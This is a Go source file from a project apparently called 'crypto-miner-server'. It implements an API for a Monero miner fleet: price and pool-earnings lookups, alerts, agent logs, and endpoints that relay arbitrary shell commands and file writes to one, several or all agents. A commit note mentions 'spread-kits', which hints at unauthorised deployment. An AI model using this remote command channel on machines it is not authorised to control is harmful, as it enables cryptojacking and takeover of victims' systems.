Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs.
431 lines
11 KiB
Go
431 lines
11 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"net/http"
|
|
"strconv"
|
|
"sync"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/alerts"
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/pool"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
)
|
|
|
|
// xmrPriceEntry caches the CoinGecko price response to avoid hammering the API.
|
|
type xmrPriceEntry struct {
|
|
USD float64
|
|
fetchedAt time.Time
|
|
}
|
|
|
|
const xmrPriceTTL = 10 * time.Minute
|
|
|
|
type FleetHandler struct {
|
|
db *db.Database
|
|
ws *WSHub
|
|
ai *AIHandler
|
|
pools *pool.Manager
|
|
alerts *alerts.Evaluator
|
|
defaultPool pool.Config
|
|
|
|
// XMR price cache — per-handler so multiple routers in one process stay isolated.
|
|
xmrPriceMu sync.Mutex
|
|
xmrPriceCache *xmrPriceEntry
|
|
|
|
// Real-earnings cache (avoids hammering the pool API)
|
|
earningsMu sync.Mutex
|
|
earningsCache map[string]*poolEarningsCache
|
|
}
|
|
|
|
type poolEarningsCache struct {
|
|
data map[string]interface{}
|
|
fetchedAt time.Time
|
|
}
|
|
|
|
const earningsCacheTTL = 5 * time.Minute
|
|
|
|
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
|
|
return &FleetHandler{
|
|
db: database,
|
|
ws: ws,
|
|
ai: ai,
|
|
pools: pools,
|
|
alerts: evaluator,
|
|
defaultPool: defaultPool,
|
|
}
|
|
}
|
|
|
|
func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
|
|
if f.alerts == nil {
|
|
writeJSON(w, []alerts.AlertEvent{})
|
|
return
|
|
}
|
|
writeJSON(w, f.alerts.ActiveAlerts())
|
|
}
|
|
|
|
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
|
|
if f.pools == nil {
|
|
writeJSON(w, []pool.PoolStatus{})
|
|
return
|
|
}
|
|
writeJSON(w, f.pools.ListStatus())
|
|
}
|
|
|
|
func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
|
|
if f.ai == nil {
|
|
writeJSON(w, []AIActivityEntry{})
|
|
return
|
|
}
|
|
writeJSON(w, f.ai.ActivitySnapshot())
|
|
}
|
|
|
|
// GetXMRPrice returns the current XMR/USD price from CoinGecko, cached for 10 minutes.
|
|
// Falls back to a 503 when the upstream is unreachable so the frontend can degrade gracefully.
|
|
func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
|
|
f.xmrPriceMu.Lock()
|
|
if f.xmrPriceCache != nil && time.Since(f.xmrPriceCache.fetchedAt) < xmrPriceTTL {
|
|
usd := f.xmrPriceCache.USD
|
|
at := f.xmrPriceCache.fetchedAt
|
|
f.xmrPriceMu.Unlock()
|
|
writeJSON(w, map[string]interface{}{
|
|
"usd": usd,
|
|
"fetched_at": at.UTC().Format(time.RFC3339),
|
|
"source": "coingecko",
|
|
})
|
|
return
|
|
}
|
|
f.xmrPriceMu.Unlock()
|
|
|
|
client := &http.Client{Timeout: 8 * time.Second}
|
|
resp, err := client.Get("https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd") //nolint:gosec
|
|
if err != nil {
|
|
http.Error(w, "price fetch failed: "+err.Error(), http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
defer resp.Body.Close()
|
|
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
|
|
|
var raw map[string]map[string]float64
|
|
if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
|
|
http.Error(w, "price parse failed", http.StatusBadGateway)
|
|
return
|
|
}
|
|
usd := raw["monero"]["usd"]
|
|
|
|
entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()}
|
|
f.xmrPriceMu.Lock()
|
|
f.xmrPriceCache = entry
|
|
f.xmrPriceMu.Unlock()
|
|
|
|
writeJSON(w, map[string]interface{}{
|
|
"usd": usd,
|
|
"fetched_at": entry.fetchedAt.UTC().Format(time.RFC3339),
|
|
"source": "coingecko",
|
|
})
|
|
}
|
|
|
|
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
|
|
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
|
|
f.GetEarnings(w, r)
|
|
}
|
|
|
|
// GetEarnings returns real pool stats for the configured wallet when the pool
|
|
// is SupportXMR-compatible (REST API available). Falls back to formula estimate.
|
|
func (f *FleetHandler) GetEarnings(w http.ResponseWriter, r *http.Request) {
|
|
hashrate := parseFloatQuery(r, "hashrate", 0)
|
|
estimate := EstimateXMRPerDay(hashrate)
|
|
|
|
// Determine wallet from query param or server config
|
|
wallet := r.URL.Query().Get("wallet")
|
|
if wallet == "" && f.db != nil {
|
|
// Try to read the wallet from the most recent build record
|
|
if builds, err := f.db.ListBuilds(1); err == nil && len(builds) > 0 {
|
|
wallet = builds[0].Wallet
|
|
}
|
|
}
|
|
|
|
if wallet == "" {
|
|
writeJSON(w, estimate)
|
|
return
|
|
}
|
|
|
|
// Try SupportXMR REST API
|
|
real, err := f.fetchPoolEarnings(wallet)
|
|
if err != nil {
|
|
log.Printf("[earnings] pool API error (%s): %v — using estimate", wallet[:min(8, len(wallet))], err)
|
|
writeJSON(w, estimate)
|
|
return
|
|
}
|
|
|
|
// Merge pool data over the estimate
|
|
for k, v := range real {
|
|
estimate[k] = v
|
|
}
|
|
estimate["source"] = "pool_api"
|
|
writeJSON(w, estimate)
|
|
}
|
|
|
|
func (f *FleetHandler) fetchPoolEarnings(wallet string) (map[string]interface{}, error) {
|
|
f.earningsMu.Lock()
|
|
if f.earningsCache == nil {
|
|
f.earningsCache = map[string]*poolEarningsCache{}
|
|
}
|
|
if cached, ok := f.earningsCache[wallet]; ok && time.Since(cached.fetchedAt) < earningsCacheTTL {
|
|
data := cached.data
|
|
f.earningsMu.Unlock()
|
|
return data, nil
|
|
}
|
|
f.earningsMu.Unlock()
|
|
|
|
url := fmt.Sprintf("https://supportxmr.com/api/miner/%s/stats", wallet)
|
|
client := &http.Client{Timeout: 8 * time.Second}
|
|
resp, err := client.Get(url) //nolint:gosec
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer resp.Body.Close()
|
|
if resp.StatusCode != http.StatusOK {
|
|
return nil, fmt.Errorf("pool API returned %s", resp.Status)
|
|
}
|
|
body, err := io.ReadAll(io.LimitReader(resp.Body, 32*1024))
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
var raw map[string]interface{}
|
|
if err := json.Unmarshal(body, &raw); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
// Normalise SupportXMR fields into our API format
|
|
const piconeroPerXMR = 1e12
|
|
result := map[string]interface{}{}
|
|
if v, ok := raw["amtDue"].(float64); ok {
|
|
result["pending_xmr"] = v / piconeroPerXMR
|
|
}
|
|
if v, ok := raw["amtPaid"].(float64); ok {
|
|
result["paid_xmr"] = v / piconeroPerXMR
|
|
}
|
|
if v, ok := raw["totalHashes"].(float64); ok {
|
|
result["total_hashes"] = v
|
|
}
|
|
if v, ok := raw["hashRate"].(float64); ok {
|
|
result["pool_hashrate"] = v
|
|
}
|
|
if v, ok := raw["lastPaymentTs"].(float64); ok && v > 0 {
|
|
result["last_payment_time"] = time.Unix(int64(v), 0).UTC().Format(time.RFC3339)
|
|
}
|
|
if v, ok := raw["lastPayment"].(float64); ok {
|
|
result["last_payment_xmr"] = v / piconeroPerXMR
|
|
}
|
|
|
|
f.earningsMu.Lock()
|
|
f.earningsCache[wallet] = &poolEarningsCache{data: result, fetchedAt: time.Now()}
|
|
f.earningsMu.Unlock()
|
|
|
|
return result, nil
|
|
}
|
|
|
|
func min(a, b int) int {
|
|
if a < b {
|
|
return a
|
|
}
|
|
return b
|
|
}
|
|
|
|
func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if f.ws == nil {
|
|
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
content := f.ws.GetAgentLog(id)
|
|
if r.URL.Query().Get("refresh") == "1" {
|
|
// Fire the get_log command and return immediately — the response arrives
|
|
// via the WebSocket command_result broadcast (fixes M18: no more 1.8s block).
|
|
// The dashboard will receive the log content via the commandResults queue.
|
|
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"agent_id": id,
|
|
"content": content,
|
|
})
|
|
}
|
|
|
|
type agentCommandRequest struct {
|
|
Action string `json:"action"`
|
|
TailLines int `json:"tail_lines,omitempty"`
|
|
Command string `json:"command,omitempty"`
|
|
Path string `json:"path,omitempty"`
|
|
Data string `json:"data,omitempty"`
|
|
}
|
|
|
|
func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if id == "" {
|
|
http.Error(w, "agent id is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
var req agentCommandRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid command", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Action == "" {
|
|
http.Error(w, "action is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if f.ws == nil {
|
|
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
args := map[string]interface{}{}
|
|
if req.TailLines > 0 {
|
|
args["tail_lines"] = req.TailLines
|
|
}
|
|
if req.Command != "" {
|
|
args["command"] = req.Command
|
|
}
|
|
if req.Path != "" {
|
|
args["path"] = req.Path
|
|
}
|
|
if req.Data != "" {
|
|
args["data"] = req.Data
|
|
}
|
|
|
|
if id == "all" {
|
|
if f.ws.connectedAgentCount() == 0 {
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": false,
|
|
"error": "no connected agents",
|
|
"agent_id": id,
|
|
"action": req.Action,
|
|
})
|
|
return
|
|
}
|
|
f.ws.BroadcastAgentCommand(req.Action, args)
|
|
} else {
|
|
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": true,
|
|
"agent_id": id,
|
|
"action": req.Action,
|
|
})
|
|
}
|
|
|
|
type agentMetaRequest struct {
|
|
Notes string `json:"notes"`
|
|
Tags []string `json:"tags"`
|
|
}
|
|
|
|
func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if id == "" {
|
|
http.Error(w, "agent id is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
var req agentMetaRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid body", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if _, err := f.db.GetAgent(id); err != nil {
|
|
http.Error(w, "agent not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
agent, _ := f.db.GetAgent(id)
|
|
writeJSON(w, map[string]interface{}{"success": true, "agent": agent})
|
|
}
|
|
|
|
type bulkCommandRequest struct {
|
|
AgentIDs []string `json:"agent_ids"`
|
|
Action string `json:"action"`
|
|
Command string `json:"command,omitempty"`
|
|
}
|
|
|
|
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
|
|
if f.ws == nil {
|
|
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
var req bulkCommandRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid body", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Action == "" {
|
|
http.Error(w, "action is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if len(req.AgentIDs) == 0 {
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": false,
|
|
"error": "agent_ids is required",
|
|
})
|
|
return
|
|
}
|
|
|
|
args := map[string]interface{}{}
|
|
if req.Command != "" {
|
|
args["command"] = req.Command
|
|
}
|
|
|
|
sent := 0
|
|
failed := 0
|
|
for _, id := range req.AgentIDs {
|
|
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
|
failed++
|
|
} else {
|
|
sent++
|
|
}
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": sent > 0,
|
|
"sent": sent,
|
|
"failed": failed,
|
|
"action": req.Action,
|
|
})
|
|
}
|
|
|
|
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
|
|
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
|
|
const networkHashrate = 3_000_000_000.0
|
|
const dailyEmissionXMR = 432.0
|
|
xmr := 0.0
|
|
if hashrate > 0 && networkHashrate > 0 {
|
|
xmr = (hashrate / networkHashrate) * dailyEmissionXMR
|
|
}
|
|
return map[string]interface{}{
|
|
"hashrate": hashrate,
|
|
"xmr_per_day": xmr,
|
|
"usd_per_day": nil,
|
|
"network_hashrate": networkHashrate,
|
|
"note": "Approximate estimate based on ~3 GH/s network hashrate; actual earnings vary with difficulty and pool luck.",
|
|
}
|
|
}
|
|
|
|
func parseFloatQuery(r *http.Request, key string, def float64) float64 {
|
|
v := r.URL.Query().Get(key)
|
|
if v == "" {
|
|
return def
|
|
}
|
|
f, err := strconv.ParseFloat(v, 64)
|
|
if err != nil {
|
|
return def
|
|
}
|
|
return f
|
|
}
|